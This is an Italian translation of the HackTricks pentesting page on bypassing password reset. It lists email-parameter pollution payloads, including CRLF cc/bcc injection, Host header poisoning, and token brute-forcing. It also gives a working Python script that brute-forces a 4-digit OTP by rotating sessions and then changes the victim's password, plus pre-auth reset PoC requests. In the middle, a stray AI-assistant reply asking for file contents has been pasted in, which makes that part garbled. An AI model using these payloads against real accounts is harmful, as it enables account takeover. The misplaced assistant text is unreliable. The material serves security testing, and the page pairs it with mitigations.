Reset/Forgotten Password Bypass

Reading time: 11 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Password Reset Token Leak Via Referrer

  • L'header HTTP referer può leakare il password reset token se è incluso nell'URL. Questo può accadere quando un utente clicca su un link di un sito di terze parti dopo aver richiesto un password reset.
  • Impact: Potenziale takeover dell'account tramite attacchi Cross-Site Request Forgery (CSRF).
  • Exploitation: Per verificare se un password reset token sta leakando nell'header referer, richiedi un password reset al tuo indirizzo email e clicca sul link di reset fornito. Non cambiare subito la password. Invece, naviga su un sito di terze parti (come Facebook o Twitter) mentre intercetti le richieste usando Burp Suite. Ispeziona le richieste per vedere se l'referer header contiene il password reset token, poiché questo potrebbe esporre informazioni sensibili a terze parti.
  • References:
  • HackerOne Report 342693
  • HackerOne Report 272379
  • Password Reset Token Leak Article

Password Reset Poisoning

  • Gli attacker possono manipolare l'Host header durante le richieste di password reset per far puntare il link di reset a un sito malevolo.
  • Impact: Possibile takeover dell'account tramite leak dei reset token agli attacker.
  • Mitigation Steps:
  • Valida l'Host header confrontandolo con una whitelist di domini consentiti.
  • Usa metodi sicuri lato server per generare URL assoluti.
  • Patch: Usa $_SERVER['SERVER_NAME'] per costruire gli URL di password reset invece di $_SERVER['HTTP_HOST'].
  • References:
  • Acunetix Article on Password Reset Poisoning

Password Reset By Manipulating Email Parameter

Gli attacker possono manipolare la richiesta di password reset aggiungendo parametri email addizionali per dirottare il link di reset.

  • Aggiungi l'email dell'attacker come secondo parametro usando &
php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
  • Aggiungi l'email dell'attaccante come secondo parametro usando %20
php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
  • Aggiungi l'email dell'attacker come secondo parametro usando |
php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
  • Aggiungi l'email dell'attaccante come secondo parametro usando cc
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"

Aggiungi l'indirizzo email dell'attacker come secondo parametro usando bcc

php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
  • Aggiungi attacker email come secondo parametro usando ,
php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"

Posso farlo, ma ho bisogno del contenuto (o della porzione di JSON) da modificare. In generale, basta aggiungere l'email dell'attaccante come secondo elemento dell'array JSON.

Esempio:

  • Prima: ["victim@example.com"]
  • Dopo: ["victim@example.com", "attacker@example.com"]

Se vuoi che aggiorni il file src/pentesting-web/reset-password.md, incolla qui il contenuto o conferma che posso applicare la modifica a tutte le occorrenze dell'array.

php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}

Modificare email e password di qualsiasi utente tramite i parametri API

  • Gli attacker possono modificare i parametri email e password nelle richieste API per cambiare le credenziali dell'account.
php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
  • Passaggi di mitigazione:
  • Assicurare una rigorosa validazione dei parametri e controlli di autenticazione.
  • Implementare logging e monitoraggio robusti per rilevare e rispondere ad attività sospette.
  • Riferimento:
  • Full Account Takeover via API Parameter Manipulation

No Rate Limiting: Email Bombing

  • La mancanza di rate limiting sulle richieste di password reset può portare a email bombing, sovraccaricando l'utente con email di reset.
  • Passaggi di mitigazione:
  • Implementare rate limiting basato su indirizzo IP o account utente.
  • Usare CAPTCHA per prevenire abusi automatizzati.
  • Riferimenti:
  • HackerOne Report 280534

Find out How Password Reset Token is Generated

  • Capire il pattern o il metodo dietro la generazione dei Password Reset Token può permettere di prevedere o brute-forzare i token. Alcune opzioni:
  • Basato su Timestamp
  • Basato sul UserID
  • Basato sull'email dell'utente
  • Basato su nome e cognome
  • Basato sulla data di nascita
  • Basato su metodi crittografici
  • Passaggi di mitigazione:
  • Usare metodi crittografici forti per la generazione dei token.
  • Garantire sufficiente entropia e lunghezza per prevenire prevedibilità.
  • Tools: usare Burp Sequencer per analizzare la randomness dei token.

Guessable UUID

  • Se gli UUID (versione 1) sono indovinabili o predicibili, gli attaccanti possono brute-forzarli per generare reset token validi. Controlla:

UUID Insecurities

  • Passaggi di mitigazione:
  • Usare GUID version 4 per maggiore randomness o implementare misure di sicurezza aggiuntive per altre versioni.
  • Tools: usare guidtool per analizzare e generare GUID.

Response Manipulation: Replace Bad Response With Good One

  • Manipolare risposte HTTP per bypassare messaggi di errore o restrizioni.
  • Passaggi di mitigazione:
  • Implementare controlli server-side per garantire l'integrità delle risposte.
  • Usare canali di comunicazione sicuri come HTTPS per prevenire man-in-the-middle.
  • Riferimento:
  • Critical Bug in Live Bug Bounty Event

Using Expired Token

  • Testare se token scaduti possono ancora essere usati per il password reset.
  • Passaggi di mitigazione:
  • Implementare politiche rigorose di scadenza dei token e validare la scadenza server-side.

Brute Force Password Reset Token

  • Tentare di brute-force il reset token usando strumenti come Burpsuite e IP-Rotator per bypassare i rate limit basati su IP.
  • Passaggi di mitigazione:
  • Implementare rate-limiting robusto e meccanismi di lockout degli account.
  • Monitorare attività sospette indicative di attacchi brute-force.

Try Using Your Token

  • Verificare se il reset token di un attaccante può essere usato insieme all'email della vittima.
  • Passaggi di mitigazione:
  • Assicurarsi che i token siano vincolati alla sessione utente o ad altri attributi specifici dell'utente.

Session Invalidation in Logout/Password Reset

  • Assicurarsi che le sessioni vengano invalidate quando un utente effettua il logout o resetta la password.
  • Passaggi di mitigazione:
  • Implementare una corretta gestione delle sessioni, assicurando che tutte le sessioni vengano invalidate al logout o al reset della password.

Session Invalidation in Logout/Password Reset

  • I reset token dovrebbero avere un tempo di scadenza dopo il quale diventano invalidi.
  • Passaggi di mitigazione:
  • Impostare un tempo di scadenza ragionevole per i reset token e applicarlo rigorosamente server-side.

OTP rate limit bypass by changing your session

  • Se il sito usa la sessione utente per tracciare i tentativi errati di OTP e l'OTP è debole (<= 4 cifre) allora si può effettivamente brute-forceare l'OTP.
  • sfruttamento:
  • Basta richiedere un nuovo session token dopo essere stati bloccati dal server.
  • Esempio di codice che sfrutta questo bug indovinando casualmente l'OTP (quando cambi la sessione anche l'OTP cambierà, quindi non potremo brute-forceare in modo sequenziale!):
python
# Authentication bypass by password reset
# by coderMohammed
import requests
import random
from time import sleep

headers = {
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
}
url = "http://10.10.12.231:1337/reset_password.php"
logout = "http://10.10.12.231:1337/logout.php"
root = "http://10.10.12.231:1337/"

parms = dict()
ter = 0
phpsessid = ""

print("[+] Starting attack!")
sleep(3)
print("[+] This might take around 5 minutes to finish!")

try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
parms["s"] = 164 # not important it only efects the frontend
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)

if ter == 8: # follow number of trails
out = requests.get(logout,headers=headers) # log u out
mainp = requests.get(root) # gets another phpssid (token)

cookies = out.cookies # extract the sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session

reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
ter = 0 # reset ter so we get a new session after 8 trails
else:
ter += 1
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
print(len(res.text)) # for debug info
print(phpsessid)

reset_data = { # here we will change the password to somthing new
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)

print("[+] Password has been changed to:D37djkamd!")
break
except Exception as e:
print("[+] Attck stopped")

Arbitrary password reset via skipOldPwdCheck (pre-auth)

Alcune implementazioni espongono un'azione di cambio password che chiama la routine di change password con skipOldPwdCheck=true e non verifica alcun reset token o ownership. Se l'endpoint accetta un parametro action come change_password e uno username/nuova password nel body della richiesta, un attaccante può resettare account arbitrari pre-auth.

Vulnerable pattern (PHP):

php
// hub/rpwd.php
RequestHandler::validateCSRFToken();
$RP = new RecoverPwd();
$RP->process($_REQUEST, $_POST);

// modules/Users/RecoverPwd.php
if ($request['action'] == 'change_password') {
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
}

public function displayChangePwd($smarty, $username, $newpwd) {
$current_user = CRMEntity::getInstance('Users');
$current_user->id = $current_user->retrieve_user_id($username);
// ... criteria checks omitted ...
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
}

Richiesta di exploitation (concetto):

http
POST /hub/rpwd.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!

Mitigations:

  • Richiedere sempre un reset token valido e limitato nel tempo, legato all'account e alla session, prima di cambiare la password.
  • Non esporre mai i percorsi skipOldPwdCheck a utenti non autenticati; imporre l'autenticazione per le normali modifiche della password e verificare la password precedente.
  • Invalidare tutte le sessioni attive e i reset token dopo un cambio password.

Registration-as-Password-Reset (Upsert on Existing Email)

Alcune applicazioni implementano il signup handler come un upsert. Se l'email esiste già, l'handler aggiorna silenziosamente il record utente invece di rifiutare la richiesta. Quando l'endpoint di registrazione accetta un body JSON minimale con un'email esistente e una nuova password, diventa di fatto un pre-auth password reset senza alcuna verifica di proprietà, consentendo il completo account takeover.

Pre-auth ATO PoC (overwriting an existing user's password):

http
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json

{"email":"victim@example.com","password":"New@12345"}

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks